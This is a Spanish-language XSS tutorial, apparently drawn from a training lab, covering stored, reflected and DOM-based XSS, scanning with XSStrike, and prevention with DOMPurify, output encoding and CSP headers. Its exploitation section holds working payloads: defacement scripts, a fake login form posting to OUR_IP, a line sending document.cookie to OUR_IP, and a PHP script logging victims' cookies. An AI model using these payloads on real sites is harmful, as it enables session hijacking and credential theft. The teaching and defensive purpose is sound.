Secciones
1. Introducción
Hoy exploraremos a fondo el fascinante (y peligroso) mundo de las vulnerabilidades de Cross-Site Scripting (XSS). Esta guía se convierte en tu cuaderno de campo para entender, detectar, explotar y, sobre todo, prevenir todo tipo de ataques XSS. Cada fragmento de código del documento original permanece intacto para que puedas practicar sin perder detalle.
2. ¿Qué es XSS y por qué importan?
Imagina que un atacante logra inyectar código JavaScript dentro de una página web legítima. Cuando otro usuario visite esa página, su navegador ejecutará sin saberlo ese código malicioso. Aunque XSS solo corre en el cliente, las consecuencias van desde robar cookies hasta secuestrar sesiones o lanzar phishing sofisticado.
Las XSS son riesgos de impacto moderado pero con alta probabilidad de encontrarse en apps modernas, por lo que siempre deben tratarse con urgencia.
3. Tres Tipos de XSS
Tipo | Descripción |
---|---|
Stored (Persistente) | El payload inyectado se guarda en la base de datos y ataca a todos los visitantes. |
Reflected (No persistente) | El payload viaja en la petición y se devuelve sin guardarse. Afecta solo a quien abre la URL maliciosa. |
DOM-based | Todo sucede en el cliente: JavaScript interpreta entrada (por ejemplo, parámetros de URL) y la inyecta en el DOM. |
Veremos ejemplos prácticos de cada uno.
4. XSS Persistente: tu script para todos
Escenario: Una To-Do List recibe tareas desde el usuario y las almacena sin limpiar.
Prueba básica de payload:
<script>alert(window.origin)</script>
Si la alerta aparece (mostrando la URL), la app es vulnerable.
Consulta el código fuente (Ctrl+U) y verás algo así:
<div></div><ul id="todo"><ul><script>alert(window.origin)</script></ul></ul>
Otras cargas útiles de prueba:
<plaintext> <!-- Detiene el renderizado y muestra el código en texto plano -->
<script>print()</script> <!-- Lanza el diálogo de impresión -->
5. XSS Reflejado: el golpe instantáneo
Escenario: Misma To-Do List, pero la app procesa la tarea y muestra errores sin guardarlos.
- Envia
test
, ves el mensaje:Task ‘test’ could not be added. - Inyecta:
<script>alert(window.origin)</script>
y pulsa Add. - Aparece la alerta, y el código fuente revela:
<div><script>alert(window.origin)</script></div>
Para compartirlo: copia la URL generada tras el GET:
http://SERVER_IP/index.php?task=<script>alert(window.origin)</script>
6. DOM-based XSS: todo ocurre en el navegador
Escenario: To-Do List que maneja #task=
en la URL sin solicitudes al servidor.
// Fuente: toma lo que sigue a "task=" de document.URL
task = document.URL.substring(document.URL.indexOf("task=") + 5);
// Sumidero: inyecta sin saneamiento
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
El payload con <script>
no funciona porque innerHTML
lo filtra. En su lugar:
<img src='' onerror=alert(window.origin)>
Visita:
http://SERVER_IP/#task=<img src='' onerror=alert(window.origin)>
7. Descubrimiento de XSS
7.1 Automatizado
Herramientas populares: Nessus, Burp Pro, ZAP entre otras, que combinan análisis pasivo (DOM) y activo (payloads).
Open source destacadas:
- XSStrike
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike && pip install -r requirements.txt
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
7.2 Manual
- Probar listas de payloads como PayloadAllTheThings o PayloadBox.
- Revisar código (sources y sinks) para crear payloads a medida.
8. Exploits comunes con XSS
8.1 Desfiguración
Cargas útiles:
<script>document.body.style.background = "#141d2b"</script>
<script>document.body.background = "https://www.ejemplo.com/images/logo-davidalvk.svg"</script>
<script>document.title = 'DavidalVk estuvo aquí'</script>
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://ejemplo.com/images/logo-davidalvk.svg" height="25px" alt="Davidalvk"></p></center>'</script>
8.2 Phishing con XSS
- Descubrir payload que funcione.
- Inyectar un formulario falso:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP>...'); document.getElementById('urlform').remove();
- Montar receptor (PHP o netcat) para robar credenciales.
8.3 Secuestro de sesión (Cookie Stealing)
Blind XSS: usar <script src="http://OUR_IP/fieldname"></script>
para identificar campo vulnerable.
Capturar cookies:
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Servidor PHP para almacenar cookies:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $v) {
$file = fopen("cookies.txt","a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: ".urldecode($v)."\n");
fclose($file);
}
}
?>
9. Prevención: ¡Defiende tu territorio!
Front-end
- Validación con expresiones regulares (email, etc.).
- Saneamiento con DOMPurify:
<script src="dist/purify.min.js"></script> let clean = DOMPurify.sanitize(dirty);
- Evitar sinks inseguros:
innerHTML
,document.write
, jQuery’shtml()
, etc.
Back-end
- Validación de entrada (filter_var en PHP).
- Saneamiento (addslashes en PHP, DOMPurify en Node).
- Codificación de salida:
htmlentities()
en PHP,html-entities
en Node. - Aplicar headers:
Content-Security-Policy: script-src 'self'
,X-Content-Type-Options: nosniff
, cookiesHttpOnly, Secure
, HTTPS. - WAFs y protecciones integradas (asp.net, etc.).